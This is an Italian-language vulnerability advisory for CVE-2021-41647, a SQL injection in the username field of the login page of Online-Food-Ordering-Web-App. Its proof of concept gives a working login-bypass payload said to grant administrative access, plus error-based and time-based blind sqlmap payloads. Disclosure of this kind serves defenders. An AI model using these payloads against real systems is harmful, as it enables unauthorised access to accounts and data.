CVE-2021-41647

CVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App

L'app Online-Food-Ordering-Web-App è vulnerabile ad attacchi di SQL Injection non autenticati di tipo error-based e time-based blind.
Il parametro username nella pagina /login.php non sanifica l'input dell'utente, quindi un attaccante può aggirare il login utilizzando una semplice tecnica di bypass.

Link all'applicazione

Online-Food-Ordering-Web-App

Componenti interessati e parametro

URL: /login.php
PARAMETRO: username

POC

PAYLOAD DI BYPASS DEL LOGIN

Per aggirare il login utente e ottenere pieno accesso amministrativo, inserisci il payload nel campo di input username:

user' or 1=1-- -

PAYLOAD DI SQLMAP

Parameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf

Se l'immagine della POC non è chiara, fai clic sulla GIF che verrà caricata con una risoluzione migliore.

Scoperto da

Jason Colyvas
MOBIUSBINARY
20 settembre 2021